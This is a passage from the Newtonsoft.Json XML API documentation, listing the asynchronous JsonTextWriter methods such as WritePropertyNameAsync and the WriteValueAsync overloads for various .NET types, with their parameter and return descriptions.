already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see 